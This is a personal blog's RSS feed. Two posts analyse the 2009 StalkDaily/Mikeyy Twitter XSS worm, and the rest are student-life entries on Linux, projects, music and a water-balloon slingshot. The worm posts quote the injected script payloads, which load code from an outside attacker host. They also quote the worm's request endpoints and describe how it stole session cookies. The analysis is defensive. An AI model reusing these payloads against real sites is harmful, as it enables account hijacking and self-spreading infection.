<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Trevor Peacock &#187; Life</title>
	<atom:link href="http://blog.peacocktech.com/category/life/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.peacocktech.com</link>
	<description>Hey.. That looks like fun</description>
	<lastBuildDate>Sat, 06 Feb 2010 03:13:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>StalkDaily Worm Revisited</title>
		<link>http://blog.peacocktech.com/2009/04/14/stalkdaily-worm-revisited/</link>
		<comments>http://blog.peacocktech.com/2009/04/14/stalkdaily-worm-revisited/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 14:43:15 +0000</pubDate>
		<dc:creator>TrevorP</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=177</guid>
		<description><![CDATA[Since posting yesterdays post, looking at the obfuscated StalkDaily worm, I have come across the sourcecode of the original unobfuscated worm on github. It does appear that becides the obfuscation, these are two different variants of the worm, with differing behaviours. While I believe the information in the previous is correct, the original worm, assuming [...]]]></description>
			<content:encoded><![CDATA[<p>Since posting <a href="/2009/04/12/stalkdaily-worm-analysis/">yesterdays post</a>, looking at the obfuscated StalkDaily worm, I have come across the <a href="http://gist.github.com/93782">sourcecode</a> of the original unobfuscated worm on github. It does appear that becides the obfuscation, these are two different variants of the worm, with differing behaviours. While I believe the information in the previous is correct, the original worm, assuming it was the baisis for the new version (assuming there were only 2 versions), asserts the assumptions I made. Disturbingly though, this previous version has a slightly disturbing behaviour. Read&nbsp;on.</p>
<h1>Analysis</h1>
<p>The code firstly defines 2 functions. 1) A complex function that returns a http connection object, allowing calls to a url (GET or POST) to be made. 2) A urlencode function to transform special characters in text to allow them to be sent as part of a&nbsp;url.</p>
<p>The code then performs the following actions when visiting an infected twitter&nbsp;page:</p>
<ul>
<li>Scan the pages HTML content, and extract the logged in users screen&nbsp;name.</li>
<li>retrieve stored cookies for the twitter&nbsp;domain</li>
<li>inserts into the document html an image element, the url of which is at uuuq.com and contains the above username and cookies. This effectively sends the username and cookies to the remove server, which most likely records&nbsp;them.</li>
<li>inserts into the document html an image element, showing the logo at&nbsp;stalkdaily.com</li>
</ul>
<p>Defined next is a function called wait. This function is then called via the setTimeout function. the setTimeout function sleeps for the specified time (allowing the browser to continue working), and then calls the requested function. The wait function does the&nbsp;following:</p>
<ul>
<li>Scans the html for the form_authenticity_token, a token placed there by twitter as an addition security mechanism designed to ensure the that action requests made to twitter originate from the browser, and logged in&nbsp;user.</li>
<li>ramdomly chooses from one of the following message:
<ul>
<li>Dude, www.StalkDaily.com is awesome. What&#8217;s the&nbsp;fuss?</li>
<li>Join www.StalkDaily.com&nbsp;everyone!</li>
<li>Woooo, www.StalkDaily.com <img src='http://blog.peacocktech.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>Virus!? What? www.StalkDaily.com is&nbsp;legit!</li>
<li>Wow&#8230;www.StalkDaily.com</li>
<li>@twitter&nbsp;www.StalkDaily.com</li>
</ul>
</li>
<li>calls /status/update to tweet one of the above&nbsp;messages</li>
<li>calls /account/settings to update the users profile web page to:
<ul>
<li>http://www.stalkdaily.com&#8221;&gt;&lt;/a&gt;&lt;script&nbsp;src=&#8221;http://mikeyylolz.uuuq.com/x.js&#8221;&gt;&lt;/script&gt;&lt;a</li>
</ul>
</li>
</ul>
<h1>Conclusions</h1>
<p>The&nbsp;worm</p>
<ul>
<li>tweets a&nbsp;message</li>
<li>changes your profile web page to stalkdaily.com, but also injecting script code, thereby making this script a self-propogating&nbsp;worm.</li>
<li>sends your username and cookies to a remote&nbsp;server.</li>
</ul>
<p>The first two are similar to my analisis of the newer worm (although this uses the user-url field, rather than the profile-color&nbsp;field)</p>
<p>The third action is the dirsturbing one, though so far as I can tell, it was removed from the newer&nbsp;worm.</p>
<p>What this means, for those who viewed the profile of a user infected with the original&nbsp;worm:</p>
<ul>
<li>The remote site captures your username (no big&nbsp;deal)</li>
<li>The remote site has your username and the session cookies you are connecting&nbsp;with</li>
</ul>
<p>On a properly designed site, session cookies should only apply to a specific IP address. that is, if the remote hacker tries to re-use the username and cookies from a computer they control, twitter should reject the session, and require the user to&nbsp;login.</p>
<p>Twitter does not do this, which means acquiring the session cookie allows the remote hacker to impersonate your session. Presumabely twitter does not implement this security feature as a convenience, allowing twitter users to remain logged in while roaming to different internet&nbsp;connections.</p>
<p>Thankfully though, the session cookie is dropped from the server when you log out. Therefore logging out and back in will disallow the remote hacker from accessing your profile&nbsp;if:</p>
<ul>
<li>you log out of all sessions where you viewed an infected&nbsp;profile</li>
<li>the remote hacker has not changed your&nbsp;password</li>
</ul>
<p>As said in my previous article, users can and should protect themselves by only running javascript from sources they trust. The <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a> extension is an easy and relatively convenient way to do&nbsp;this.</p>
<p>Twitter 1) should review their code, ensuring all fields that accept information from the outside world properly escape all information sent, removing the possibility of XSS attacks, and 2) lock session cookies to a single IP address. The first I&#8217;m sure they have already done. The second I&#8217;m sure they will not, and probably will never&nbsp;*sigh*</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2009/04/14/stalkdaily-worm-revisited/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>StalkDaily Worm Analysis</title>
		<link>http://blog.peacocktech.com/2009/04/12/stalkdaily-worm-analysis/</link>
		<comments>http://blog.peacocktech.com/2009/04/12/stalkdaily-worm-analysis/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 12:07:25 +0000</pubDate>
		<dc:creator>TrevorP</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=168</guid>
		<description><![CDATA[Update: This post covers a newer version of the worm. I have located the original code, and it is reviewed in a newer&#160;post.
The following is a quickly developed, haphazard analysis of the StalkDaily worm that infected accounts of twitter users on 12Apr 2009. Apologies for the roughness. It was done to satisfy my own curiosity. [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update</strong>: This post covers a newer version of the worm. I have located the original code, and it is reviewed in a <a href="/2009/04/14/stalkdaily-worm-revisited/">newer&nbsp;post</a>.</p>
<p>The following is a quickly developed, haphazard analysis of the StalkDaily worm that infected accounts of twitter users on 12Apr 2009. Apologies for the roughness. It was done to satisfy my own curiosity. If you spot something clearly wrong, let me know. If anyone would like any further information, please contact&nbsp;me.</p>
<h1>Observation</h1>
<p>By observation, this worm does the&nbsp;following:</p>
<ul>
<li>Causes you to tweet something like:
<ul>
<li><span class="status-body"><span class="entry-content">Wow&#8230;Mikeyy.</span></span></li>
<li><span class="status-body"><span class="entry-content">Mikeyy.&nbsp;Woooo!</span></span></li>
<li><span class="status-body"><span class="entry-content">Dude, Mikeyy is the shit! :<strong></strong>)</span></span></li>
<li><span class="status-body"><span class="entry-content">damn mikeyy.&nbsp;haha.</span></span></li>
<li><span class="status-body"><span class="entry-content">Man, Twitter can&#8217;t fix shit. Mikeyy owns. :<strong></strong>)</span></span></li>
<li><span class="status-body"><span class="entry-content">Twitter should really fix this&#8230;&nbsp;Mikeyy</span></span></li>
</ul>
</li>
<li><span class="status-body">Causes you to follow profile 28546293, or&nbsp;onedegrees</span></li>
<li><span class="status-body">Updates your profile name to &#8220;Mikey&nbsp;Owns&#8221;</span></li>
<li><span class="status-body">inserts a link to the worm code into your profiles color field<br />
</span></li>
</ul>
<h1>Unpacking</h1>
<p>By comparing the accounts of infected and uninfected users we see the following&nbsp;code:</p>
<p style="padding-left: 30px;">a { color: #&lt;/style&gt;mikeyy:)           &#8220;&gt;&lt;/a&gt;&lt;scr<strong></strong>ipt&gt;document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%6f%6d%67%68%61%78%2e%75%75%75%71%2e%63%6f%6d%2f%77%6f%6f%2e%70%68%70%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));&lt;/script&gt;                      &lt;style&gt; &lt;a ;&nbsp;}</p>
<p>This appears in the place where we would expect to see a css color element as&nbsp;follows:</p>
<p style="padding-left: 30px;">a { color: #0000ff;&nbsp;}</p>
<p>This appears to be an injection into the twitter database, replacing the colour code of the page with JavaScript code. The JavaScript code instructs the browser to load the JavaScript code located at http://omghax.uuuq.com/woo.php. By watching proxy logs of a machine browsing infected pages, we see the following pages being&nbsp;accessed:</p>
<p style="padding-left: 30px;">http://omghax.uuuq.com/woo<br />&nbsp;http://omghax.uuuq.com/bam</p>
<p>This is explained by examining one of these scripts. Within the script is found the following&nbsp;strings:</p>
<ul>
<li>Msxml2.XMLHTTP</li>
<li>Microsoft.XMLHTTP</li>
<li>connect</li>
<li>oUpperCase</li>
<li>GET</li>
<li>?</li>
<li>open</li>
<li>Method</li>
<li>POST</li>
<li>HTTP/1.1</li>
<li>setRequestHeader</li>
<li>Content-Type</li>
<li>application/x-www-form-urlencoded</li>
<li>onreadystatechange</li>
<li>readyState</li>
<li>send</li>
<li>split</li>
<li>join</li>
<li>&#8216;</li>
<li>%27</li>
<li>(</li>
<li>%28</li>
<li>)</li>
<li>%29</li>
<li>*</li>
<li>%2A</li>
<li>~</li>
<li>%7E</li>
<li>!</li>
<li>%21</li>
<li>%20</li>
<li>+</li>
<li>%</li>
<li>replace</li>
<li>innerHTML</li>
<li>documentElement</li>
<li>exec</li>
<li>Dude, Mikeyy is the shit! <img src='http://blog.peacocktech.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>Man, Twitter can&#8217;t fix shit. Mikeyy owns. <img src='http://blog.peacocktech.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>Mikeyy.&nbsp;Woooo!</li>
<li>Dude! Mikeyy! Seriously? Haha. <img src='http://blog.peacocktech.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li>Wow&#8230;Mikeyy.</li>
<li>damn mikeyy.&nbsp;haha.</li>
<li>random</li>
<li>length</li>
<li>floor</li>
<li>&lt;/style&gt;mikeyy:) &#8220;&gt;&lt;/a&gt;&lt;script&gt;document.write(&lt;script src=&#8221;http://omghax.uuuq.com/woo.php&#8221;&gt;&lt;/script&gt;.source));&lt;/script&gt; &lt;style&gt;&nbsp;&lt;a</li>
<li>&lt;/style&gt;mikeyy:) &#8220;&gt;&lt;/a&gt;&lt;script&gt;document.write(&lt;script src=&#8221;http://content.ireel.com/jsxss.js&#8221;&gt;&lt;/script&gt;.source));&lt;/script&gt;&nbsp;&lt;style&gt;&lt;a</li>
<li>&lt;/style&gt;mikeyy:) &#8220;&gt;&lt;/a&gt;&lt;script&gt;document.write(&lt;script src=&#8221;http://content.ireel.com/xssjs.js&#8221;&gt;&lt;/script&gt;.source));&lt;/script&gt;&nbsp;&lt;style&gt;&lt;a</li>
<li>&lt;/style&gt;mikeyy:) &#8220;&gt;&lt;/a&gt;&lt;script&gt;document.write(&lt;script src=&#8221;http://omghax.uuuq.com/bam&#8221;&gt;&lt;/script&gt;.source));&lt;/script&gt;&nbsp;&lt;style&gt;&lt;a</li>
<li>&lt;/style&gt;mikeyy:) &#8220;&gt;&lt;/a&gt;&lt;script&gt;document.write(&lt;script src=&#8221;http://omghax.uuuq.com/woo&#8221;&gt;&lt;/script&gt;.source));&lt;/script&gt;&nbsp;&lt;style&gt;&lt;a</li>
<li>/account/profile_settings</li>
<li>POST</li>
<li>authenticity_token=</li>
<li>&amp;user[profile_link_color]=</li>
<li>&amp;commit=save+changes</li>
<li>/account/settings</li>
<li>&amp;user[name]=Mikeyy+Owns&amp;user[url]=</li>
<li>&amp;tab=home&amp;update=update</li>
<li>/status/update</li>
<li>&amp;status=</li>
<li>&amp;return_rendered_status=true&amp;twttr=true</li>
<li>/friendships/create/28546293</li>
<li>&amp;twttr=true</li>
<li>wait()</li>
</ul>
<h1>Analysis</h1>
<p>Towards the bottom of this list you start to see some important&nbsp;elements:</p>
<ul>
<li>/account/profile_settings    &amp;user[profile_link_color]=&nbsp;&amp;commit=save+changes</li>
<li>/account/settings&nbsp;&amp;user[name]=Mikeyy+Owns&amp;user[url]=</li>
<li>/status/update</li>
<li>/friendships/create/28546293</li>
</ul>
<p>While the code is obfuscated, and beyond my knowledge to easily decode, these strings provide some important clues. I would assume that the worm is calling URLs at twitter using these strings. Conceivably these&nbsp;would</p>
<ul>
<li>Update the profile colour, inserting the worm&nbsp;code</li>
<li>Update the profile&nbsp;name</li>
<li>creating a friendship with&nbsp;onedegrees</li>
</ul>
<p>Because the code is run inside the browser, in the context of normal page views by the logged in twitter user, the code &#8220;acts on your behalf&#8221;, to perform these actions. Neither the script, or the script author know your username or password, it simply &#8220;asks&#8221; the browser to perform these actions. Because you are already logged on in the browser, the action is performed as if you did it&nbsp;yourself.</p>
<h1>Conclusion</h1>
<p>I would estimate that the root cause of this problem is an JavaScript injection vulnerability in twitters color field, which now seems to be fixed. This allowed the worm to place JavaScript code inside this field, rather than the expected colour code which would normally be sent by the&nbsp;browser.</p>
<p>While not the cause, another vulnerability that allowed this to happen is the web-browsers in-built JavaScript engine, which runs any JavaScript code it is instructed to. This to me is not desirable. In effect, every time you visit a website, you are inviting some unknown person to run whatever JavaScript code they like inside your browser. This is historically the cause of many major security and virus problems, and will be into the&nbsp;future.</p>
<p>JavaScript is a useful tool in creating interactive websites, but must considered carefully. I recommend disabling JavaScript by default and only enabling it for sites you trust. The <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a> extension makes this&nbsp;easy.</p>
<p>Being that the malicious code in the StalkDaily worm was hosted on an external site, running twitters javascript code would not have allowed this worm to execute unless you also permitted code from uuuh.com to run&nbsp;also.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2009/04/12/stalkdaily-worm-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rocket Science</title>
		<link>http://blog.peacocktech.com/2006/03/24/rocket-science/</link>
		<comments>http://blog.peacocktech.com/2006/03/24/rocket-science/#comments</comments>
		<pubDate>Sat, 25 Mar 2006 04:27:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=38</guid>
		<description><![CDATA[When you declare war on the neighbouring dorm, make sure you have a weapon of mass&#160;hydration!
At short notice today we decided to build a machine to launch water balloons at the neighbouring building. With the aid of Levi, we designed, acquired parts, and assembled in a few hours a lethal water balloon launching sling&#160;shot.
The weapon [...]]]></description>
			<content:encoded><![CDATA[<p>When you declare war on the neighbouring dorm, make sure you have a weapon of mass&nbsp;hydration!</p>
<p>At short notice today we decided to build a machine to launch water balloons at the neighbouring building. With the aid of <a href="http://reswiki.peacocktech.com/wiki/Levi_Monshing">Levi</a>, we designed, acquired parts, and assembled in a few hours a lethal water balloon launching sling&nbsp;shot.</p>
<p>The weapon consisted of the following&nbsp;parts:</p>
<ul>
<li>4 metres of bungee cord @&nbsp;1.25/mtr</li>
<li>2 sections of scrap wood @ $1&nbsp;ea</li>
<li>4 180mm long 10mm dia bolts, and nuts to match @ ~ $2&nbsp;ea</li>
<li>left over piece of shade&nbsp;cloth</li>
</ul>
<p>and of course 1200 water balloons @ $2 per&nbsp;200.</p>
<p>We eventually got the weapon capable of firing water balloons from the upstairs balcony, over the neighbouring building, and into the car park on the other&nbsp;side.</p>
<p>The&nbsp;construction:</p>
<ul>
<li>A frame was made with the wood, cut so we could place one piece on either side of the railing on the balcony. Held together with the bolts, formed the frame and supports for our&nbsp;catapult.</li>
<li>two holes in each of the supports to feed the elastic cord&nbsp;through</li>
<li>A roughly 200&#215;120mm square of shade cloth, a few layers thick, with small holes placed in the corners to run the cord&nbsp;through</li>
<li>The cord threaded through the holes in the supports with the shade cloth pocket threaded onto the cord between the&nbsp;supports</li>
<li>Attach the supports about 1m&nbsp;apart</li>
</ul>
<p>A few lessons&nbsp;learned:</p>
<ul>
<li>Water balloons burst very easily, if the sling is too tight, and places too much force on the balloon, it will burst on&nbsp;launch.</li>
<li>the elastic we bought was probably too heavy (it was about 10mm dia), and put too much force on the&nbsp;balloon.</li>
<li>To counter this, we found placing the supports only 1m apart, rather than keeping it tight at 2m worked better. It accelerated the balloons more&nbsp;gently.</li>
<li>A single piece of elastic, or much smaller gauge elastic would have worked better. Weaker elastic with a longer stretching distance would give the balloon a much gentler acceleration, hopefully allowing a more powerful, or longer&nbsp;throw</li>
<li>I don&#8217;t recommend putting anything other than water balloons in the sling. Balloons don&#8217;t do too much damage. With this sort of power, they do hurt if they hit you, but anything more solid would be downright&nbsp;dangerous.</li>
</ul>
<p align="center">
<img class="aligncenter size-full wp-image-46" title="waterbomb_slingshot" src="http://blog.peacocktech.com/wp-content/uploads/2006/03/waterbomb_slingshot.jpg" alt="waterbomb_slingshot" width="640" height="480" /><a href="http://reswiki.peacocktech.com/wiki/Elsbeth Zeegers">Elsbeth</a>, <a href="http://reswiki.peacocktech.com/wiki/Sarah Phelps">Sarah</a>, <a href="http://reswiki.peacocktech.com/wiki/Robert James">Rob</a>, <a href="http://reswiki.peacocktech.com/wiki/Sarah Friday">Sarah</a> and <a href="http://reswiki.peacocktech.com/wiki/Carey Needham">Carey</a>, preparing&nbsp;amunition.</p>
<p>What a way to waste an afternoon. Enjoy&nbsp;kids.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2006/03/24/rocket-science/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Educational content = 0</title>
		<link>http://blog.peacocktech.com/2005/12/13/educational-content-0/</link>
		<comments>http://blog.peacocktech.com/2005/12/13/educational-content-0/#comments</comments>
		<pubDate>Wed, 14 Dec 2005 00:01:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=36</guid>
		<description><![CDATA[
A busy term is over. A term during which I watched helplessly as my in box filled up with unread news subscriptions. But its over now. Finished the subjects, finished the ITC307 projects, and 382 projects. Been back home for 2 weeks, been getting back into reading. Also been doing all those little things that [...]]]></description>
			<content:encoded><![CDATA[<p>
A busy term is over. A term during which I watched helplessly as my in box filled up with unread news subscriptions. But its over now. Finished the subjects, finished the ITC307 projects, and 382 projects. Been back home for 2 weeks, been getting back into reading. Also been doing all those little things that need doing (well the bigger little things at least). Consolidated my web servers onto a single port (no more port 8080), trialling other Linux distros (Running Ubuntu currently, and liking it), and doing some small upgrades to various&nbsp;systems.
</p>
<p>
Also been thinking about the future of this blog. I had hoped to get more out of writing this blog than i have been, and i know, looking back over my entries, there is little useful content. I would therefore like to try a different method:<br />
Currently, while doing the reading i try to do every day, i often find articles i know would interest certain people, and will often put them aside and email them out. Frequently i find a number of related articles and become interested in the subject, and end up writing a half page summary, interspersed with links and references.<br />
I would like to try to approach this blog in that form, to write a weekly or fortnightly article on a particular topic. I enjoy the emails i write, and hope i will enjoy this also, despite the fact it will no longer be directed towards a known&nbsp;audience.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/12/13/educational-content-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Project Work</title>
		<link>http://blog.peacocktech.com/2005/09/22/project-work/</link>
		<comments>http://blog.peacocktech.com/2005/09/22/project-work/#comments</comments>
		<pubDate>Fri, 23 Sep 2005 00:11:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=34</guid>
		<description><![CDATA[
Spending most of my time working on our ITC307 project, and doing assignments due early next term.
Being able to find a bit of time now, i have been keeping up with reading, came across phpinsider.com, which has a dedicated Smarty forum. Spent a while looking to see if anyone else has been using smarty for [...]]]></description>
			<content:encoded><![CDATA[<p>
Spending most of my time working on our ITC307 project, and doing assignments due early next term.<br />
Being able to find a bit of time now, i have been keeping up with reading, came across <a href="http://phpinsider.com/smarty-forum/">phpinsider.com</a>, which has a dedicated Smarty forum. Spent a while looking to see if anyone else has been using smarty for generating SQL queries. There were a few mentions, but as far as i could tell, nothing on the scale of what we were using.<br />
Have had gaim connected to irc.au.freenode.net for the last few days, to the tapestry, debian, and smarty channels, just watching whats going on, thought i might learn something, but nothing major yet, only a few small&nbsp;things.</p>
<p>
Installed <a href="http://beaglewiki.org/Main_Page">beagle</a> and got it working. Have been interested in the idea ever since i read about a concept of <a href="http://www.nat.org/dashboard/">dashboard</a>. To be really useful i need to set it to index all the data on my server and other HDD, rather than just my home&nbsp;folder.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/09/22/project-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finish Term / Linux</title>
		<link>http://blog.peacocktech.com/2005/09/11/finish-term-linux/</link>
		<comments>http://blog.peacocktech.com/2005/09/11/finish-term-linux/#comments</comments>
		<pubDate>Mon, 12 Sep 2005 04:26:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=32</guid>
		<description><![CDATA[
Well, long time. Finished assignments, and end of term.
Spent a few days working with tapestry, trying to write a library. Seeing as there&#8217;s little documentation it was more or less trial and error, but got it working in the end. have an eclipse environment set up for developing it. Also wrote a tapestry filter to [...]]]></description>
			<content:encoded><![CDATA[<p>
Well, long time. Finished assignments, and end of term.<br />
Spent a few days working with tapestry, trying to write a library. Seeing as there&#8217;s little documentation it was more or less trial and error, but got it working in the end. have an eclipse environment set up for developing it. Also wrote a tapestry filter to log requests to a file. Should implement it soon, as not all pages are being logged since the installation of new things such as this blog.<br />
Have installed Debian on my main machine, got it dual booting with windows (no hassle), what has been a hassle is getting gaim 1.5, and newer versions of thunderbird and firefox. added this line to&nbsp;/etc/apt/sources.list</p>
<pre>deb ftp://sunsite.cnlab-switch.ch/mirror/debian/ unstable main contrib non-free</pre>
<p>
I manually installed thunderbird from their website, and after changing sources.list thunderbird broke. updated thunderbird from synaptic, and worked&nbsp;fine.</p>
<p>
Spent hours trying to get thunderbird working in the first place. I have a thunderbird profile of about 1Gb, which i didn&#8217;t want to loose. Ended up having to manually editing prefs.js to update all the paths from my windows setup. After that, and upgrading thunderbird it seems to be working fine, except the fact i am unable to access postoffice.csu.edu.au from this IP address. Its getting rather&nbsp;annoying.</p>
<p>
Been going back through the histories music-wise. Found a stack of albums at leading edge, Gene Pitney, Hank Williams, Bee Gees, Carpenters, and Beach Boys. Also found a very nice album from Sydney musician Lior. Very impressed with Gene Pitney, and was already fans of Carpenters and Bee Gees. Also got my hands on Motown Remixed, which I saw advertised in Sain magazine (for Sanity Music). Eleanor and her father are big fans of motown artists, and although i know some of the songs on the album, i don&#8217;t know them well enough to compare them to the originals. Also finally got a Jackson 5 album (only took me 2 years), and loving&nbsp;it.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/09/11/finish-term-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PostSecret</title>
		<link>http://blog.peacocktech.com/2005/08/30/postsecret/</link>
		<comments>http://blog.peacocktech.com/2005/08/30/postsecret/#comments</comments>
		<pubDate>Wed, 31 Aug 2005 04:59:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=30</guid>
		<description><![CDATA[
Been a while since my last post. Finished an assignment on tapestry (Jakarta, not weaving). There is a report on generating a sample app if anyone is interested. If there is anyone else out there learning tapestry, let me know, its hard to find&#160;resources.

Started implementing security into timeshare, its an uphill task, so many things [...]]]></description>
			<content:encoded><![CDATA[<p>
Been a while since my last post. Finished an <a href="http://peacocktech.com:8080/mediawiki/index.php/ITC382_11255412_A1">assignment</a> on tapestry (Jakarta, not weaving). There is a report on generating a sample app if anyone is interested. If there is anyone else out there learning tapestry, let me know, its hard to find&nbsp;resources.</p>
<p>
Started implementing security into timeshare, its an uphill task, so many things to be redone/fixed to work with the new changes. Hopefully a chance to fix old bugs, but probably an opportunity to generate new&nbsp;ones.
</p>
<p>
Bought a cheap KVM switch box (finally), and as a result have started using my Linux box much more (I don&#8217;t have to crawl around to swap cables any more). Have moved my php editing environment across, and moved <a href="http://gaim.sf.net/">GAIM</a> across. Not game to move my mail (thunderbird) across yet, think I&#8217;ll set up a dedicated hard drive for my home directory&nbsp;first.
</p>
<p>
Few interesting finds recently. <a href="http://postsecret.blogspot.com/">PostSecret</a> is a rather interesting project. Also Katrina has started a new <a href="http://notreallybored.blogspot.com/">comic</a>.<br />
Have started using <a href="http://talk.google.com/">GIM</a> (Googles new Instance Messaging service). Installed the client and had a quick (30 sec) look, but have been otherwise running it under GAIM (username: trevor_peacock at&nbsp;you-know-where).</p>
<p>
Next few days: gotta get over this cold, knock over the last few assignments for this term, and make arrangements for the holidays. Fun&nbsp;fun&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/08/30/postsecret/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Different</title>
		<link>http://blog.peacocktech.com/2005/08/21/different/</link>
		<comments>http://blog.peacocktech.com/2005/08/21/different/#comments</comments>
		<pubDate>Sun, 21 Aug 2005 07:19:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=26</guid>
		<description><![CDATA[
Made it to brunch today, for the first time in a long time. Spent most of the day looking at tapestry. Also got TeamTalk working between here and home. Remains to be seen how well it will work. Runs quite quickly, there is only one hop copared to two when i talk to Alan, so [...]]]></description>
			<content:encoded><![CDATA[<p>
Made it to brunch today, for the first time in a long time. Spent most of the day looking at <a href="http://blog.peacocktech.com/index.php?blog=6&amp;title=plumbing&amp;more=1&amp;c=1&amp;tb=1&amp;pb=1">tapestry</a>. Also got TeamTalk working between here and home. Remains to be seen how well it will work. Runs quite quickly, there is only one hop copared to two when i talk to Alan, so it runs a little smoother. As long as i&#8217;m not using the modem for anything else on this end, it could almost replace the&nbsp;phone.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/08/21/different/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Working hard doing nothing</title>
		<link>http://blog.peacocktech.com/2005/08/18/working-hard-doing-nothing/</link>
		<comments>http://blog.peacocktech.com/2005/08/18/working-hard-doing-nothing/#comments</comments>
		<pubDate>Fri, 19 Aug 2005 02:00:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=24</guid>
		<description><![CDATA[
Been (very) busy the last few days, although I don&#8217;t have a lot to show for it. Installed MediaWiki on my Apache server (about my only success). Tried to get WikiPDF working. Its obviously designed to run on Linux. After a bit of tweaking I got it to generate latex, but it failed to convert [...]]]></description>
			<content:encoded><![CDATA[<p>
Been (very) busy the last few days, although I don&#8217;t have a lot to show for it. Installed <a href="http://www.mediawiki.org/">MediaWiki</a> on my Apache server (about my only success). Tried to get <a href="http://sourceforge.net/projects/wikipdf">WikiPDF</a> working. Its obviously designed to run on Linux. After a bit of tweaking I got it to generate latex, but it failed to convert that to PDF. Tried to get PHP working atop Tomcat. <a href="http://blog.taragana.com/index.php/archive/running-php-5x-on-windows-using-tomcat-4x-or-5x/">This</a> seemed the most promising lead, and it did work on Tomcat 5.5, but not 4.1, and MySQL didn&#8217;t work. Perhaps I should learn how to set up PHP normally, might explain how to get MySQL to work.<br />
Also started a few days ago upgrading tomcat 4.1 to 5.5, all going fairly well, except getting manager and admin modules to work. The Admin module now has to be installed manually, but it doesn&#8217;t work on a virtual host, it must be running in the default&nbsp;app.
</p>
<p>
Continuing to work back through Dream Theaters discography, I&#8217;m quite impressed by their 1997 album &#8220;Falling Into Infinity&#8221;. Quite a relaxing mix of songs, plenty of different styles, every song is&nbsp;unique.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.peacocktech.com/2005/08/18/working-hard-doing-nothing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>-.-</title>
		<link>http://blog.peacocktech.com/2005/08/09/22/</link>
		<comments>http://blog.peacocktech.com/2005/08/09/22/#comments</comments>
		<pubDate>Wed, 10 Aug 2005 02:17:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[Music]]></category>

		<guid isPermaLink="false">http://blog.peacocktech.com/?p=22</guid>
		<description><![CDATA[
Last few days have been pretty quiet. Class still uninteresting, 555 is still a disappointment, did pick up one useful thing though, did some reading after one class and figured out how to use the Linux route command. managed to set up my firewall to route local traffic locally, rather than just shoving everything down [...]]]></description>
			<content:encoded><![CDATA[<p>
